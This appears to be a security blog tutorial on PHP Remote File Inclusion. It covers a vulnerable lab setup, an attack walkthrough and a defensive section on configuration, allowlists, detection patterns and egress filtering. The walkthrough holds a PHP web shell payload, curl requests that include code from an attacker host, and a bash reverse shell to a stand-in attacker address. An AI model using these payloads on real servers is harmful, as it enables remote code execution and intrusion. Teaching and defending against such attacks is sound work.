Introduction / Overview
Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to assess. Unauthorized testing is illegal in most jurisdictions.
Remote File Inclusion (RFI) is a classic but still relevant web vulnerability in which an attacker forces a server-side script to load and execute a file hosted on a remote, attacker-controlled server. When the included file is interpreted (as with PHP), RFI leads directly to Remote Code Execution (RCE) — the most impactful outcome a web application can suffer.
In this article you will learn how RFI works at the language level, why the PHP setting allow_url_include is the linchpin, how to abuse the http:// wrapper to deliver a remote payload, and — just as importantly — how defenders detect and prevent it. RFI is the more dangerous cousin of Local File Inclusion (LFI); if you are not yet comfortable with file-path manipulation, read my Local File Inclusion deep dive first.
How It Works / Background
PHP's include-family functions — include, include_once, require, require_once — accept a path argument. Crucially, PHP's file functions are stream-aware: a path can be a local filesystem path or a URL handled by a stream wrapper (http://, https://, ftp://, php://, data://, etc.).
A vulnerable pattern looks like this:
<?php
// index.php?page=home
$page = $_GET['page'];
include($page . ".php"); // attacker controls $page
?>
If the application passes user input straight into include(), an attacker can supply a full URL. PHP will fetch that URL, return the response body, and execute any PHP code inside it in the context of the application.
Two php.ini directives gate this behaviour:
allow_url_fopen— enables URL-aware fopen wrappers in general (defaultOn). Without it, remote stream access fails entirely.allow_url_include— specifically allows remote URLs to be used with the include/require family (defaultOffsince PHP 5.2). This is the critical control for RFI.
Classic RFI requires allow_url_include = On. Because modern installations ship with it Off, true RFI is rarer today — but legacy apps, misconfigured Docker images, and inherited .htaccess/ini_set() overrides keep it alive. When allow_url_include is Off, attackers pivot to LFI techniques (log poisoning, php://filter, data://, session files) instead.
Prerequisites / Lab Setup
Build a deliberately vulnerable lab. Do this only on an isolated machine or VM.
# Vulnerable target container (PHP 7.x with apache)
mkdir rfi-lab && cd rfi-lab
cat > index.php <<'EOF'
<?php $p = $_GET['page'] ?? 'home'; include($p . ".php"); ?>
EOF
cat > home.php <<'EOF'
<h1>Home</h1>
EOF
# Force the vulnerable config for the lab only
cat > php-rfi.ini <<'EOF'
allow_url_fopen = On
allow_url_include = On
EOF
docker run --rm -p 8080:80 \
-v "$PWD":/var/www/html \
-v "$PWD/php-rfi.ini":/usr/local/etc/php/conf.d/rfi.ini \
php:7.4-apache
On a second host you control, stand up a web server to host the remote payload:
# Attacker's payload server (port 9000)
mkdir payload && cd payload
cat > shell.txt <<'EOF'
<?php system($_GET['cmd']); ?>
EOF
python3 -m http.server 9000
We deliberately name the payload shell.txt, not .php. If we served .php from our own PHP-enabled server it would execute there and return nothing useful. A .txt (or any non-executed extension) is served as raw source so the target receives the PHP code verbatim and executes it itself.
Attack Walkthrough / PoC
Step 1 — Confirm the inclusion sink
First verify the parameter reflects file content. A quick allow_url_fopen probe via the http wrapper:
curl 'http://target:8080/index.php?page=http://attacker:9000/shell.txt%00'
The trailing .php concatenation ($p . ".php") is an obstacle. On unpatched PHP < 5.3.4 a null byte (%00) truncated the string. On modern PHP that no longer works, so we use a query-string or fragment trick to neutralise the appended suffix.
Step 2 — Neutralise the appended extension
Because the code appends ".php", our URL becomes http://attacker:9000/shell.txt.php. We turn the suffix into a harmless query string:
# The "?" makes ".php" part of the query string, not the path
curl 'http://target:8080/index.php?page=http://attacker:9000/shell.txt%3f'
The resulting fetch is http://attacker:9000/shell.txt?.php, so the server still serves shell.txt and the .php is ignored.
Step 3 — Achieve RCE with the remote payload
curl 'http://target:8080/index.php?page=http://attacker:9000/shell.txt%3f&cmd=id'
Expected response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
You now have command execution as the web server user.
Step 4 — Upgrade to a reverse shell
Start a listener, then push a payload through your cmd parameter:
# Attacker listener
nc -lvnp 4444
# Trigger a bash reverse shell (URL-encoded)
curl -G 'http://target:8080/index.php' \
--data-urlencode 'page=http://attacker:9000/shell.txt?' \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"'
Alternative: data:// wrapper (no remote server needed)
If allow_url_include is On but outbound HTTP is firewalled, the data:// wrapper inlines the payload directly:
curl 'http://target:8080/index.php?page=data://text/plain;base64,'$(echo -n '<?php system("id"); ?>' | base64)
Note the same ".php" suffix problem applies; you may need a wrapper that tolerates trailing data.
Mermaid Diagram

Diagram: the target fetches the attacker's remote payload via the PHP http:// wrapper and executes it, returning command output to the attacker.
Detection & Defense (Blue Team)
RFI mitigation deserves equal attention to the offence. Defend in depth:
1. Disable remote inclusion at the engine level. In php.ini, ensure:
allow_url_include = Off
allow_url_fopen = Off ; disable if the app does not need outbound URL fetches
Verify across all SAPIs (CLI vs FPM use different ini files):
php -i | grep -E 'allow_url_(include|fopen)'
2. Never pass user input to include/require. Use an allowlist mapping instead of dynamic paths:
<?php
$routes = ['home' => 'home.php', 'about' => 'about.php'];
$page = $routes[$_GET['page']] ?? 'home.php';
include(__DIR__ . '/pages/' . basename($page));
basename() plus a fixed base directory removes both path traversal and remote-scheme abuse.
3. WAF and pattern detection. Flag request parameters containing http://, https://, ftp://, php://, data://, or expect://. ModSecurity Core Rule Set (CRS) rules in the REQUEST-933-APPLICATION-ATTACK-PHP category catch these wrappers. Example detection idea in a SIEM:
# Hunt access logs for inclusion-style payloads
grep -E '\?(page|file|template|lang|include)=.*(https?|php|data|ftp|expect)://' access.log
4. Egress filtering. A web server rarely needs to make arbitrary outbound HTTP requests. Block outbound connections from the app tier by default; this neutralises the http:// wrapper retrieval step even if a code flaw exists.
5. Logging and monitoring. Watch for unusual outbound connections from PHP-FPM/Apache processes and for include() errors referencing remote URLs in PHP error logs. Map detections to MITRE ATT&CK T1190 (Exploit Public-Facing Application) and T1059 (Command and Scripting Interpreter).
6. Harden the runtime. Set disable_functions = system,exec,shell_exec,passthru,popen,proc_open where the application does not require them, run PHP under a low-privilege user, and consider open_basedir to confine filesystem access.
For broader command-execution hardening once an attacker lands a shell, see my notes on Linux privilege escalation basics.
Conclusion
RFI is conceptually simple — user input reaches an include() and PHP's stream wrappers do the rest — but its impact is maximal: direct RCE. The defining condition is allow_url_include = On, which is why the vulnerability has become rarer yet still surfaces in legacy and misconfigured stacks. When remote inclusion is blocked, the same input sink usually remains exploitable as LFI through php://filter, data://, or log poisoning, so treat any dynamic include as critical regardless of configuration. For an end-to-end comparison of these techniques, revisit my LFI to RCE chains write-up.
Defence is straightforward in principle: keep both allow_url_include and allow_url_fopen off, never feed user input into include paths, use strict allowlists, and apply egress filtering so the payload fetch never completes.
References
- OWASP — Testing for Remote File Inclusion: https://owasp.org/www-community/attacks/Code_Injection
- PHP Manual — Filesystem &
allow_url_include: https://www.php.net/manual/en/filesystem.configuration.php - PHP Manual — Supported Protocols and Wrappers: https://www.php.net/manual/en/wrappers.php
- HackTricks — File Inclusion / Path Traversal: https://book.hacktricks.xyz/pentesting-web/file-inclusion
- MITRE ATT&CK — T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
- OWASP ModSecurity Core Rule Set: https://coreruleset.org/



Comments